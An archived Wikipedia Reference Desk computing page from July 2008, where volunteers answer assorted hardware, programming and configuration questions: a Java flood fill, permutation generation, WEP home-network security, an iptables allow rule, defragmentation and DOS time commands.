(striking comment above) I see. I didn't realize he was asking about an ungrounded IDE or grounded IDE cable. The grounded one (with 80 wires) is required for successful DMA. -- kainaw™ 11:57, 14 July 2008 (UTC)

On the IDE/ATA bus, DMA is only indirectly related with transfer modes/rates. Whether the transfer is done using programmed I/O or direct memory access is actually a function of what's going on inside the IDE bus interface chip; nothing different happens on the IDE bus cable. You could program your IDE bus controller to use DMA transfers even at the slowest IDE transfer rates and for these, the older 40-wire cable would suffice. Most people wouldn't do that, of course; they're out for speed so the tendency is to use the fastest supportable IDE bus transfer rate and DMA transfers to/from host memory. And to do those fastest IDE bus transfers, you do need the 80-wire cable. (I once wrote IDE/ATA/ATAPI device drivers for a living.)

Atlant (talk) 19:52, 14 July 2008 (UTC)

LCD display commands

Hi all,

I have one of these alphanumerical LCDs attached at a C-Control. As most of these LCDs are standardized (or at least I hope so)... where can I find out a list of commands I can send to them?

Thanks,HardDisk (talk) 18:44, 13 July 2008 (UTC)

PS: Yeah, I have googled, but I found only documents which state how to utilize the D0-7 pins, but I need the hexadecimal stuff (for example 01h=CLS). HardDisk (talk) 18:53, 13 July 2008 (UTC)

Manufacturer data sheets are the way to go. A quick google search for "DEM16217" (the code on the example illustrated to the right) brought up this PDF datasheet which seems pretty comprehensive. Astronaut (talk) 22:52, 13 July 2008 (UTC)

The alphanumeric LCD standard is called 74HC164. Here is a nice tutorial to interface it with an AVR micro controller. --antilived^{T | C | G} 09:56, 14 July 2008 (UTC)

Two television questions

I've got two questions:

1. On my very old (>10 years) TV, the the picture has shifted to the right a bit, just enough to obscure the last number of CNN's stock display. Is this a sign I need to get a new TV?
2. Does aluminum foil actually improve TV reception? If not, are there any other tips? I have a small battery powered TV and am going to be in Fulton County, Pennsylvania, which is pretty much a dead spot when it comes to over-the-air TV reception.

Thanks, Xenon54 18:52, 13 July 2008 (UTC)

If you are skilled and not afraid of extremely high voltages, open the housing and clean the boards from dust. This helped my dad's old CRT. HardDisk (talk) 18:54, 13 July 2008 (UTC)

And for what the aluminium foil? Better get an active-amplified antenna or satellite dish.HardDisk (talk) 18:55, 13 July 2008 (UTC)

I'm talking about a two-inch TV (for the second one), so it would be a bit hard to hook up a satellite dish. Xenon54 19:03, 13 July 2008 (UTC)

You take the satellite reciever's antenna output, take some copper wire and connect the antenna output signal pin to the antenna of the mini tv. HardDisk (talk) 19:07, 13 July 2008 (UTC)

Would this be possible with a regular antenna as well? Xenon54 20:57, 13 July 2008 (UTC)

Question 1

you can adjust this horizontal shift, on old tv s there is often a hole at the back where you insert a (electrically insulated) screwdriver, and turn a variable capacitor/inductor - if you can find the hole, (it should be marked h.shift or h-something) you can adjust it yourself.

alternatively a TV technician can take the tv apart and do this for you. It shoudn't require any new parts and is easily changable.

Obviously don't poke around in the back of the tv unless you know what you are doing.87.102.86.73 (talk) 19:23, 13 July 2008 (UTC)

OR you could get a new tv.. 87.102.86.73 (talk) 19:48, 13 July 2008 (UTC)

I doubt adjusting hshift will work if the thing is dusted...HardDisk (talk) 20:14, 13 July 2008 (UTC)

If it has spontaneously shifted to the right, that probably does indicate there's something wrong with the TV. The adjustment mentioned above may, or may not, fix it. It might last this way for years, though, so, if you can live with it, you can just keep it until it dies completely. I've had many TVs have serious problems that I've learned to live with. I had one which had the volume go to maximum on it's own, so I disabled the internal speakers and used external speakers with a volume control instead. I had another that went to a single horizontal line for a half hour until it warmed up, so I just left it on with no input to the RCA jacks to keep it warm. StuRat (talk) 22:52, 13 July 2008 (UTC)

Aluminum foil can slightly improve reception if you put two balls on the ends of rabbit ears. However, repositioning and/or rotating the antenna is likely to have even more of an effect, so try that first. StuRat (talk) 22:56, 13 July 2008 (UTC)

Java colorisation question

I am implementing a colorisation program in Java Swing. The actual colorisation of black-and-white images is done at the moment with this code:

 private void floodFill(int x, int y, int originalRgb, boolean[][] visited) {
    if (x<0 || x>=160 || y<0 || y>=120) {
      return;
    }
    if (visited[x][y]) {
      return;
    }
        
    int offset = x + image.getWidth() * y;
    int rgb = pixels[offset] & 0xFFFFFF;
    visited[x][y] = true;    
    
    if (Math.abs(value(rgb)-value(originalRgb)) > 0xF) {
      return;
    }
    //pixels[offset] = (0xFF << 24) | rgb;
    pixels[offset] = tint(colours[currentColour].getRGB(), value(rgb));

    floodFill(x-1, y, rgb, visited);
    floodFill(x, y-1, rgb, visited);
    floodFill(x+1, y, rgb, visited);
    floodFill(x, y+1, rgb, visited);
  }
  
  
  private int value(int rgb) {
    int r = (rgb >> 16) & 0xFF;
    int g = (rgb >> 8) & 0xFF;
    int b = rgb & 0xFF;
    return Math.max(r, Math.max(g, b));
  }
  
  
  private int tint(int rgb, int value) {
    int r = (rgb >> 16) & 0xFF;
    int g = (rgb >> 8) & 0xFF;
    int b = rgb & 0xFF;
    int r2 = (int)(r * (value / (double)0xFF));
    int g2 = (int)(g * (value / (double)0xFF));
    int b2 = (int)(b * (value / (double)0xFF));
    return (0xFF << 24) | (r2 << 16) | (g2 << 8) | b2;
  }

The idea is that calling floodFill() on a pixel that the user has clicked on causes a recursive flood fill of all nearby pixels whose HSV value component is similar enough, using the current colour. The colours cycle per click through red, yellow, green, cyan, blue and magenta. The only problem I have is this: Clicking on a part of the image that has already been coloured red causes it to be coloured solid black. This happens only on red parts - clicking on parts that have not been coloured yet, or on parts that have been coloured any other colour, works fine. I can't figure out what is causing this. Can anyone help? JIP | Talk 19:06, 13 July 2008 (UTC)

I haven't read the whole thing, but the rgb = pixels[offset] & 0xFFFF looks fishy. It's only using 16 bits, while the rest of the code is oriented toward 32-bit color (8 bits red, 8 bits green, 8 bits blue, 8 bits alpha?) --tcsetattr (talk / contribs) 20:01, 13 July 2008 (UTC)

I removed the & 0xFFFF operation, but it still doesn't work. Now, an area coloured red stays red forever. Uncoloured areas, or areas coloured any other colour, work fine. What is so damned special about the colour red? JIP | Talk 20:14, 13 July 2008 (UTC)

Hard to say. Still sounds like a plain bug, as in a typo or a logic error somewhere. Can you replace the code above with the exact version you've got now? Also, I see some oddities in your code: for example, it seems you should either pass originalRgb instead of rgb when calling floodFill() recursively, or (depending on which effect you want) you should move the visited[x][y] = true line below the Math.abs(value(rgb)-value(originalRgb)) > 0xF check. The way you have it currently, your flood fill has a directional bias. Anyway, if it's originalRgb you want to compare each pixel against, why not simply compute value(originalRgb) once and pass that around instead of recomputing it each time? —Ilmari Karonen (talk) 13:47, 14 July 2008 (UTC)

I checked it again and found the problem. I had fixed the 0xFFFF bit at the wrong place. The above version is what I have now, and it's working. As for your suggestions, the first one would actually make it worse - I want the value check to happen dynamically: as the flood fill progresses, it's supposed to check for value differences against the current pixel, not against the original one. This way it can find hard edges more effectively. Using the original value will only colour part of the "flat" areas between hard edges. I know, I just tried it. Your second suggestion, though, improves the algorithm, it's now colouring the "flat" areas more thoroughly. Thanks for your suggestions. JIP | Talk 17:13, 14 July 2008 (UTC)

How do I fix a broken link?

The article resulting from searching for the word "Blog" has an external link that is broken. Here is the click-on text of the link in the article's External Link section:

Computer Law and Security Report Volume 22 Issue 2, pages 127-136, "Blogs, Lies and the Doocing" by Syliva Kierkegaard.

70.224.39.60 (talk) 19:35, 13 July 2008 (UTC)

I have no idea how to add or fix one of those references, which is probably a good indication that they are too damn complicated for the average editor to use. However, note that the link to that book under "External Links" at the bottom of the article does work, although it only gives you the abstract and table of contents for free. They want $31.50 to read the full article. That's probably why the ref fails, it's trying to go directly to a section of the article and that's not allowed until you fork over cash. I have reservations about linking to pay sites like this, as it's bound to cause frustration (how many people are willing to pay that much money to verify a source for a Wikipedia article ?). StuRat (talk) 22:15, 13 July 2008 (UTC)

Here's our article: blog.

Here's the broken ref: "In Singapore, two ethnic Chinese were imprisoned under the country’s anti-sedition law for posting anti-Muslim remarks in their weblogs."

Here's the section with the broken ref: Blog#Political_dangers.

Here's the good link: "* Computer Law and Security Report Volume 22 Issue 2, Pages 127-136blogs, Lies and the Doocing by Sylvia Kierkegaard (2006)"

Here's the location of the good link: Blog#External_links. StuRat (talk) 22:23, 13 July 2008 (UTC)

...now the "good link" seems to be failing, too. Perhaps it's using a temporary web address that goes away in short order. StuRat (talk) 22:26, 13 July 2008 (UTC)

I just went to that site and found the abstract again, now let's see if this link breaks after a few minutes: [1]. StuRat (talk) 22:35, 13 July 2008 (UTC)

Wireless network security

My nephew has been bugging me about letting his DS get on the wireless network here at home. However, I'm a bit skittish because the DS doesn't support anything other than WEP. I already do MAC address filtering, but is there anything else I can do to secure the network if I decide to give in? Thanks. 24.8.206.126 (talk) 20:28, 13 July 2008 (UTC)

Everything is hackable when you use WEP. Get some cheap AP and set it up in a way it provides WEP WLAN when your nephew is at home; set it up in a way it can only access the Internet. (and switch it off when your nephew isn't at home so your neighbours can't abuse your connection) HardDisk (talk) 21:18, 13 July 2008 (UTC)

(ec)The only thing I can suggest is to buy (2nd hand) second (a WEP compatible) gateway and run it in the DMZ of you main gateway. That way if someone gets into the WEP (which isn't much of a challenge to a savvy script-kiddie) all he'll get is a free internet connection rather than access to your home network (and so he'll just get you convicted for warez/kiddieporn crimez) - you can always turn that gateway on only when nephew is visiting. Incidentally MAC filtering is essentially useless as a security measure, as WEP/WPA/WPA2 sends the MAC in the unencrypted part of the packet, so it's not very hard for Mr Kiddie to spoof the MAC of a legitimate client. -- Finlay McWalter | Talk 21:25, 13 July 2008 (UTC)

Come off it, how likely that your home network will be seriously compromised during your nephew's brief visit? Set up his MAC address, set up WEP and turn off your PC. Go back to the regular settings when he's gone. Astronaut (talk) 23:02, 13 July 2008 (UTC)

24.8.206.126, if you are technical you can run DD-WRT on your router. You can run WPA and WEP at the same time. Keep in mind that it is well known how to hack a WEP network. It has been done in around 3 minutes at Defcon. However, I don't think anyone cares about your network that much. --mboverload@ 23:05, 13 July 2008 (UTC)

optimise

Somebody asked a question about program efficiency above see Wikipedia:Reference_desk/Archives/Computing/2008_July_10#Efficient_Programming - there were some issues about stacks and recursion etc.. I took a permutation algorthym and tried to remove the recursive calls.. (The aim was to generate all the permutations of 123456789 eg swapping the digits)

I came up with (eventually)

dim a(9) an array holding the digits to be permuted

dim c(9) an array holding the equivalents of the pointers in 9 for/next loops

for x=1 to 9 : a(x)=x : c(x)=x: next x initiate both arrays - they happen to be the same

p=1 this points to the current depth of traversal

LOOP1 : swap ( a( c(p) ) , a( p ) )

increment p

if p<10 the goto LOOP1

print the ouput number formed by a() ie print a(1)*10^9+a(2)*10^8 ..etc

LOOP2 : decrement p

if p=0 then stop

swap ( a( c(p) ) , a( p ) )

increment c(p)

if c(p)<10 then goto LOOP1 equivalent to a "next c() instruction"

c(p)=p this effectively re-initialises a for/next loop

goto LOOP2

As a general method - can anyone recommend improvements? eg for compiled speed?87.102.86.73 (talk) 21:59, 13 July 2008 (UTC)

Can you write up some actual code (FORTRAN, if possible), so I can compare performance with the two methods I've tried already (see previous section) ? StuRat (talk) 03:34, 14 July 2008 (UTC)

Actually I don't know fortan syntax that well.. the dim a(9) I guess is the same as a make_array "a" size 9.

swap a(c(p)),a(p)) can be replaced with z=a(c(p)) : a(c(p))=a(p) : a(p)=z

increment and decrement if not supported is the same as x=x+1 or x=x-1

The 'if's can all be terminated with 'else'

This is the most simple/readable pseudo-code I can make if you want to try translating it:

10 INTEGER_SMALL : x,p,z

12 INTEGER_LARGE : t

20 INTEGER_ARRAY_OF_SMALL : a(9),c(9)

22 INTEGER_ARRAY_OF_LONG : n(362880)

25 t=1

30 for x=1 to 9

40 a(x)=x

50 c(x)=x

60 next x

70 p=1

100 z=a(c(p))

102 a(c(p))=a(p)

104 a(p)=z

110 p=p+1

120 if (p<=9) then goto 100 else continue

150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)

160 t=t+1

170 goto 200 ! delete this if printing is required

180 print n(t-1)

200 p=p-1

210 if (p=0) then stop/end program else continue

220 z=a(c(p))

222 a(c(p))=a(p)

224 a(p)=z

230 c(p)=c(p)+1

240 if (c(p)<=9) then goto 100 else continue

250 c(p)=p

260 goto 200

(one minor correction made)

That's really BASIC which is pretty much "Fortran-lite" - capitalise everything and I imagine it would work..? 87.102.86.73 (talk) 10:43, 14 July 2008 (UTC) (The method does work by the way in basic)

Actually, FORTRAN hasn't required all caps for decades (since 1966 ?), although I sometimes still use them to make it easier to read when displaying many lines at small resolution. I'll convert your program to FORTRAN and give it a try... StuRat (talk) 12:58, 14 July 2008 (UTC)

OK, I convereted to FORTRAN and added some benchmarking code: ([2]). It runs in 0.20 second, so it's about 40% quicker than my fastest method of 0.33 second ... good job ! I do prefer my sorted output in general, however, even though it wasn't a requirement, in this case. PS: I changed the link at the top of this question to a permalink, which will work even after this is all archived. StuRat (talk) 14:49, 14 July 2008 (UTC)

! I am actually suprised it runs faster - I was expecting similar results: there's not much overhead in the other methods.

By the way I think if you replace

150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)

with

150 n(t)=100000000*a(1) + 10000000*a(2) + 1000000*a(3) + 100000*a(4) + 10000*a(5) + 1000*a(6) + 100*a(7) + 10*a(8)+ a(9)

then the output is in order (my mistake again)..

It was immensly confusing making a recursive function non-recursive.. Usually I'd stick with simple - it's easier to de-bug etc..87.102.86.73 (talk) 16:38, 14 July 2008 (UTC)

I thought of that change myself and gave it a try, and it makes it closer to numeric order, but not quite. The last value found is 912345678 now. It should be 987654321 to be in numeric order. As for going with the simplest code when the performance difference is trivial, as in this case between 0.20 seconds and 0.33 seconds, I completely agree. Still, it's good to know the more efficient methods, in case they are ever needed for an app where time is critical. StuRat (talk) 20:23, 14 July 2008 (UTC)

You beat me to it, I just spotted that too.. probably could be fixed with a bubble sort (starting at position P) after each 'up pseudo-recursion level P' loop (or something); which would most likely add .13 (or more) seconds to the time and back where we started.

Even so the method does have one advantage in that it's extensible or contractable to any length (replace all instances of the number 9 with K and begin with a let K=whatever)

I'd probably go with the if/then/do or DIY simple recursion ie use the stack myself (if that's supported) - (it compiles to the same thing - meaning the recursive and self implemented stack using loop and the self made version is likely to be either less complex or the same... : an example of which has been discussed at Wikipedia:Reference_desk/Computing#Implementing a flood fill more efficiently87.102.86.73 (talk) 21:08, 14 July 2008 (UTC)

I'd avoid using a bubble sort for sorting anything more than a dozen items. But, even a far more efficient sort (such as a pointer-based radix sort, in this case) is still likely to increase the elapsed time by more than 0.13 seconds, as you said. StuRat (talk) 23:53, 14 July 2008 (UTC)

I've read the solutions everyone else proposed but did anyone said anything about backtracking, one of the most obvious ones? Sorry if someone did already. Anyway it's quite fast and it also generates the numbers in order. —Preceding unsigned comment added by Ovi 1 (talk • contribs) 08:58, 16 July 2008 (UTC)

I'm not sure, can you describe this method ? StuRat (talk) 14:04, 17 July 2008 (UTC)

Kaspersky conflicts with my game

OK, so I installed the Philippine edition of FreeStyle Street Basketball, and what bothers me is that Kaspersky thinks it's a keylogger. I already added the FS binaries to the whitelist, but still the antivirus is warning me of an unknown keylogger, which I think is the game. Any suggestions? Blake Gripling (talk) 23:15, 13 July 2008 (UTC)

...And where did you get this Philippine version of FreeStyle...?--mboverload@ 01:30, 14 July 2008 (UTC)

From the publisher's website. I think my SiS graphics chip is causing the graphics glitches; I played Grand Theft Auto: Vice City there and polygon glitches sometimes occurs. Blake Gripling (talk) 12:43, 15 July 2008 (UTC)

Team Fortress 2 crashes

My copy of Team Fortress 2 was working perfectly fine before, all of a sudden, it would go to the begining loading screen and freeze. My game was fine one day, the next, hnaging at startup. Please help fix this. I tried reinstalling, everything steam said to do. None of that worked! --69.127.64.22 (talk) 23:26, 13 July 2008 (UTC)

July 14

C++

I just started C++ today so... I compiled "Hello world". When I run it, a command prompt window pops up for a split second. It pops up and is gone so fast I can even see what happens. This is what I have written:
   #include <iostream>

using namespace std;

int main()

{

cout << "Hello, world!";

return 0;

}

So, can anyone tell me how to fix this so the prompt stays up and I can see the output on the screen? Thanks, Ζρς ι'β' ^¡hábleme! 00:09, 14 July 2008 (UTC)

You've written a console-mode program, so you should run it from the console (aka command prompt). -- Finlay McWalter | Talk 00:14, 14 July 2008 (UTC)

Looks like it's just a command-line program, so if you just double-click the .exe file, it will exit the command window immediately it processes the "return" statement. There are 2 easy solutions:

1. 1. If instead you open a command window, navigate to wherever the .exe file is, and then type in the name of the file, it will exit back to command-line mode without closing the window.
   2. Read the next lesson in your book and add something like "cin >> str;" before the return (of course you will need to give str a type); the program will pause for you to type something before exiting.

Astronaut (talk) 00:24, 14 July 2008 (UTC)

Nevermind, I found i out what the problem was. (I don't have a book, I'm just learning from the web.) I'm using Dev-C++, so before the return 0;, I just needed to put system("pause"). I found out that that's not required in Visual Studio so apparently the person writing the tutorial was using Visual Studio. (It also runs ok from the GUI now that it pauses.) Thanks, Ζρς ι'β' ^¡hábleme! 00:41, 14 July 2008 (UTC)  Done

Windows XP and Core 2 Duo (E8400) - Can't get second core to work.

First, is there something that MUST be done during a Windows XP installation so it will recognize both cores in a dual core CPU? If so, do tell! Otherwise, read on:

1. BIOS setting was ok, I guess. The only option that looked relevant said "SW Single Processor Mode -- Disabled"
2. Windows XP SP2 installed, running as Multiprocessor according to device manager.
3. Device manager shows a single CPU, so does Task Manager.
4. Only one core is visible with cpuz. Intel's diagnosis program tells me the second CPU is "disabled".

Reinstalled Windows, normally. Same thing. Any ideas of what's going on? I've looked in several forums already, no luck. :( — Kieff | Talk 02:01, 14 July 2008 (UTC)

Usually there is nothing you need to do to enable the second core. Have you tried a Linux LiveCD and see if you can use the second core there? If you can't it's probably hardware related. --antilived^{T | C | G} 09:50, 14 July 2008 (UTC)

Each core in multicore processors are usually treated as separate processors, so from memory (its hazy, I'm a proud Linux user), only XP Professional supports two processors. If the version you are using is Home, then the second core will not be used. Rilak (talk) 13:26, 14 July 2008 (UTC)

According to this article, XP Home should support multi-core but it does not support multi-cpu, if that's not just a little confusing.

What version of Windows are you installing? XPHome SP2 should support multi-core, but XP SP0 or SP1 might not ---J.S (T/C/WRE) 02:55, 15 July 2008 (UTC)

Every version of XP Home should support. I run here C2D T7250 and can access both cores via SP2. You sure you didnt buy a Core 2 Single? HardDisk (talk) 14:26, 15 July 2008 (UTC)

how to determine format of a word processing file?

Can someone point me to a way to figure out what word processor created a given file? I have some old files with no extensions. I would have thought that between NeoOffice and the unregistered version of Pages, I'd be able to open any file I'd ever created, but I'm stuck on a few. --Allen (talk) 03:50, 14 July 2008 (UTC)

I presume you're using a Mac given the reference to Pages and NeoOffice. Have you tried using the Get Info (Command + I) function? It should list the file type under "Kind", with or without a file extension. --Canley (talk) 09:45, 14 July 2008 (UTC)

file (Unix)? Mac OS X probably has that hidden in the terminal. --antilived^{T | C | G} 09:49, 14 July 2008 (UTC)

Thanks... Get Info doesn't work because I destroyed some sort of metadata while FTPing the files (I think that's what happened... at least that's when I lost their time stamps). I didn't know about file (Unix), and it does work on some of them, but for the really tough ones it just returns "data". I'm even more baffled what I could have done with these files. --Allen (talk) 14:10, 14 July 2008 (UTC)

I figured it out now... they're just files created by versions of Appleworks that are so old Pages doesn't support them. I was confused because I was under the impression that Pages opened all Appleworks files. Now I'm just frustrated... what does Apple expect us to do with old files? --Allen (talk) 14:26, 14 July 2008 (UTC)

Beyond a certain point, there's diminishing returns on supporting old formats. About all you could really do is A) search for a conversion utility online or B) find an older Mac with AppleWorks that can import the old files and export to another format (RTF is the most likely candidate). — The Hand That Feeds You:^Bite 22:23, 14 July 2008 (UTC)

iptables question

I'm just not figuring this out. I want to drop all inbound connections to a specific port unless those connections originate from a handful of specific IP addresses. Basically, I just want to make a service running on this port only visible to certain hosts. Can anyone give me an example iptables rule? Thanks a lot. 192.156.33.34 (talk) 07:12, 14 July 2008 (UTC)

Sure:

iptables -A INPUT -i eth0 -s 192.168.0.0/16 --dport 80 -j ACCEPT

This rule lets anything from the example IP address range block on the eth0 interface to access port 80 (web server). This rule is the simplest, so it isn't secure. For example, it does not specify the destination IP address or the protocol, etc. Rilak (talk) 13:20, 14 July 2008 (UTC)

If you don't specify the transport layer protocol, you can't specify the port. So:

iptables -A INPUT -i eth0 -s 192.168.0.0/16 -p tcp --dport 80 -j ACCEPT

--Juliano (T) 13:28, 14 July 2008 (UTC)

Yes, I forgot to mention that... funny thing is that I was implementing some NAT rules in iptables just today. Rilak (talk) 13:43, 14 July 2008 (UTC)

Defragment HDD

How long does it take to defragment a 40 GB HDD? If I stop in the middle, will Windows XP make a mess out of my data? If I don't stop, is there still any risk involved? 83.54.217.146 (talk) 09:53, 14 July 2008 (UTC)

The basic advice is never to stop a defragmentation in the middle. How long it takes to defragment depends on whether you're going for a full defragmentation or a quicker version that operates very simply. The risk to your data of just doing a normal defragmentation is minimal to zero (the main problem comes if you get a power cut in the middle). Sam Blacketer (talk) 09:57, 14 July 2008 (UTC)

Fragmentation also depends on how recently you've defragmented the drive. If it is not fragmented at all, defrag will finish rather quickly. Other than stopping in the middle, there are two possible problems: It is possible (though very rare) that a good file will be moved to an area of the drive with a bad/failing sector. Then, the file won't be good anymore. This is not a defrag problem - it is a problem with the drive itself. If you have a program that opens a file and tries to write to it while it is being moved, it can cause a problem. This shouldn't happen because defrag locks the file while it moves, but some programmers may try to ignore this and write to a locked file anyway. Again, this is not a defrag problem. It is a programmer problem. -- kainaw™ 12:01, 14 July 2008 (UTC)

I just want to note that I've stopped defrags in the middle before on virtual drives (by stopping it with the program itself, not by turning the machine off or something dramatic) and it was fine—never any problems. If you resume the defrag later it speeds over the first half pretty quick. --98.217.8.46 (talk) 14:22, 14 July 2008 (UTC)

I can only confirm that. if you stop normally in Windows XP, your files will suffer no harm. Defrags are not brain surgery, the OS just takes the pieces of the files and put them together. Another story is probably if you are defragmenting Windows system files in an external HDD and cut the power off. In this late case, you'll mkae probably a mess from your OS. —Preceding unsigned comment added by Mr.K. (talk • contribs) 18:24, 14 July 2008 (UTC)

Windows's defragging on NTFS is extremely stable. It is a very safe proceedure. You can stop it at any time you want with no ill effects. Although I wouldn't recommend it you can pull the power plug from your computer in the middle of a degrag if you wanted to...for some reason. Sam's comments may be regarding FAT defragging, which I don't know much about. KEEP IN MIND, if your hard disk is damaged defragging can make the situation worse. Just FYI. --mboverload@ 20:09, 14 July 2008 (UTC)

When in doubt, it is good practice to do a full scan (preferably boot time) before defragmenting. Defragmenting NTFS should be much faster than defragmenting in FAT32. (Yeah, I know. I used to be, and probably am, biased in favor of FAT32 but that has nothing to do with the question.) Kushal (talk) 02:52, 15 July 2008 (UTC)

Stopping normally in the middle has no risk, you can quit the defragment process or shut down the OS (which will tell the process to quit) without risking anything. If you pull the cord or hold down the power button, on the other hand, you've got the same risks that are always present in doing so while writing data to the disk. --Random832 (contribs) 18:12, 18 July 2008 (UTC)

PS3 multizone DVD player?

The PS3 can be used as an upscaling DVD player. It is also sold region locked. How can I make the PS3 play DVDs from other regions? F (talk) 11:41, 14 July 2008 (UTC)

Upscaling doesn't really worth the hype it has. The truth is your TV already does it when you feed the signal from your normal DVD player to it, and it doesn't increase the amount of detail. --antilived^{T | C | G} 12:52, 14 July 2008 (UTC)

Well, it's not worth the hype, I agree, but I disagree that your TV already does it. If I play DVDs from my PS2 on my progressive scan TV, there's some diamond shaped "watermarks". Other than that, it's true. --Wirbelwindヴィルヴェルヴィント (talk) 17:22, 14 July 2008 (UTC)

I have to disagree. Upscaling is a very important technology and the PS3 is one of the best. Perhaps you are refering to the hype that upscaling makes DVDs look like Bluray, which is of course bull. --mboverload@ 20:10, 14 July 2008 (UTC)

It probably is not very easy to do it (or someone at Sony can anticipate a bad rap). Depending on where you live, it might be legal to use HandBrake to convert it into another format and play the movies so. I wish I could help more but my knowledge of Regional lockout and DVD region code is severely limited. Kushal (talk) 02:48, 15 July 2008 (UTC)

Excel on a Mac

On a Mac, how do I set Excel so that instead of displaying the data as it will print, ie with everything broken down into individual A4 pages, it displays as one continuous sheet with no breaks? Thanks 92.2.122.213 (talk) 13:42, 14 July 2008 (UTC)

View > Normal. --98.217.8.46 (talk) 14:18, 14 July 2008 (UTC)

What time is it ?

Resolved

 – StuRat (talk) 02:51, 15 July 2008 (UTC)

Is there a Windows line command (MSDOS) which will tell me the current time without prompting me to change the clock as "TIME" does ? StuRat (talk) 15:47, 14 July 2008 (UTC)

"TIME /T" seems to do what you require. TSP (talk) 15:54, 14 July 2008 (UTC)

Or DATE /T Mankerranker (talk) 15:55, 14 July 2008 (UTC)

Those don't work for me (under Windows 98). They just say "Invalid time. Enter new time:" (or the same thing with dates). They do work on my Windows XP computer, however. So, is there a way to do this under Windows 98 ? I'm more familiar with Unix, so I don't quite know how to do this in Windows. StuRat (talk) 16:23, 14 July 2008 (UTC)

It would be pretty trivial to write such a program, no? --98.217.8.46 (talk) 17:35, 14 July 2008 (UTC)

Not that trivial, especially if I want it to run on different Windows versions and show the same result. Is there a way to feed a return character to the time command ? Maybe something like "^M" > TIME ? Or maybe there's an environment variable, so I could do something like "echo $TIME" ? StuRat (talk) 18:40, 14 July 2008 (UTC)

I think you can go (verbatim): echo. | time -- Finlay McWalter | Talk 19:13, 14 July 2008 (UTC)

Thanks. That's quite an improvement. However, even though it doesn't wait for the user to hit enter anymore, it still displays a second line with "Enter new time:" on it. Is there a way to only display the first line with the time ? (Something equivalent to the Unix "cut" command ?) StuRat (talk) 20:16, 14 July 2008 (UTC)

Try this, probably best if it's in a batch file: @ECHO. | time | find "The current time is" --LarryMac | Talk 20:36, 14 July 2008 (UTC)

Well, the @ at the beginning did something really bad, locking up my MS-DOS session so I had to use the Task Manager to kill it, which left the current executable hosed up such that I no longer have permission to delete it. What was that supposed to do ? However, once I eliminated that and changed the wording on the find string (they apparently changed the text slightly from "Current time is" to "The current time is" from Windows 98 to Windows XP), it worked great:

ECHO. | time | find "urrent time is"

Thanks ! StuRat (talk) 23:20, 14 July 2008 (UTC)

@ just means that the command line won't display in a batch file. (so you wouldn't see the ECHO line itself, just the result.) My bet is that it just didn't work for some reason (maybe due to the "current time" thing) but you couldn't see that because of the @ character. You could probably re-add it to your current line and have it work fine. (Or not, it's your preference.) --98.217.8.46 (talk) 00:53, 15 July 2008 (UTC)

I see. It seems safer to leave it off. Thanks again. StuRat (talk) 02:44, 15 July 2008 (UTC)

An alternative to "echo. | time" is "time < nul". --Bavi H (talk) 00:58, 15 July 2008 (UTC)

No, that doesn't work in Windows 98. It produces a large number of ^A characters on the "Enter new time:" line, and then locks up the MS-DOS window. StuRat (talk) 02:44, 15 July 2008 (UTC)

I just want to mention that using the @ to supress output of the current line has been a feature of batch for almost as long as DOS batch has existed. I didn't even think twice about typing it in my sample command. --LarryMac | Talk 13:19, 15 July 2008 (UTC)

Jayski's Silly Season Site

Hi My name is Paul Ogilvie and I believe that you either own or control the Jayski site that is owned by ESPN and run by Jay ?(He is the one that started the site). I have been able to view the site until Friday? have tried everything. the last test told me to contact the owner of the site to find out why it is not available to me. Some of my friends can get on but I have been stopped How do it get back on the Site? Thank You Paul email removed —Preceding unsigned comment added by 166.128.97.181 (talk) 17:11, 14 July 2008 (UTC)

This is the reference desk of Wikipedia, the free encyclopedia. You are talking to Wikipedia volunteers. No-one here owns this website, and I doubt anyone knows anything much about it. You can contact Jayski at jayski at jayski dot com. Algebraist 17:26, 14 July 2008 (UTC)

Maybe this nifty tool can help you in the future. Kushal (talk) 02:41, 15 July 2008 (UTC)

Implementing a flood fill more efficiently

In regard to the Java flood fill code I posted above, the recursive approach gets very inefficient as the picture size progresses. In fact, changing the maximum size from 160×120 to 320×240 makes the JVM stack overflow because all of the recursive method calls. Is there a way to make the algorithm use less recursion but still function the same? JIP | Talk 17:16, 14 July 2008 (UTC)

You don't need any recursion. Write the code with a store (it's typically a stack) and just push values to be processed to it:

 workpile = empty
 workpile.push (startX, startY)
 while workpile isn't empty:
   (x,y) = workpipe.pop()
   paintPixel(x,y)
   // push an entry for each adjacent pixel that needs painting
   if needsPainting(x-1,y): workpile.push(x-1,y)
   if needsPainting(x,y-1): workpile.push(y-1)   
   // etc

If you code this properly, your stack is of 32bit ints rather than full java method call frames, and so should be many times smaller.

Fun hack: there's no reason, with this method, why your fill has to proceed from a single seed point. You could specify an additional floodfill api that takes multiple seeds, and has multiple workpiles but still considers them all serially in the same while loop, and the effect would be that several fills would run concurrently, which should look cool. You could exploit multiple processors by extending this to several genuinely concurrent filler threads, but you'd need to supply additional constraints to stop them from fighting (such as "thread A only paints x values between 0 and 50". I doubt that, for images of the size and type you'd normally fill, if the overhead and the bother would yield worthwhile results.

Better yet, you can exploit some reasonable shortcuts based on what you're expecting to fill. If you're expecting to fill with large runs of horizontal or vertical pixels (that is, you're not filly horribly convoluted snakey patterns) then instead of recursing to go right, write code that looks like this:

 if rightPixel needs painting:
   scan rightward until you find a stopper: for each, paint that pixel and push any adjacent pixels that need painting

Hmm, on looking (after the fact) at flood fill they've mostly got all the stuff above already. -- Finlay McWalter | Talk 18:12, 14 July 2008 (UTC)

Thanks! I understand exactly what you're meaning. I just have to take the time to write the pseudocode out in Java. JIP | Talk 18:33, 14 July 2008 (UTC)

Incidentally if you're painting onto a surface that's currently being displayed (I forget the innards of Java2D, and you've not explained what exactly you're painting into - I don't think Java2D is synchronised) you incur a lot of penalties from synchronisation and refresh. If you can keep the image in a regular array, floodfill into that, and only shove that at the display API when you're done then you won't have those problems. And when you're accessing an array you're not having to call setPixel/getPixel methods to do stuff. -- Finlay McWalter | Talk 18:23, 14 July 2008 (UTC)

I am already doing that. The flood fill algorithm is done on an array of ints, not on a java.awt.Image. The image gets read into the array at the beginning and written back at the end. JIP | Talk 18:33, 14 July 2008 (UTC)

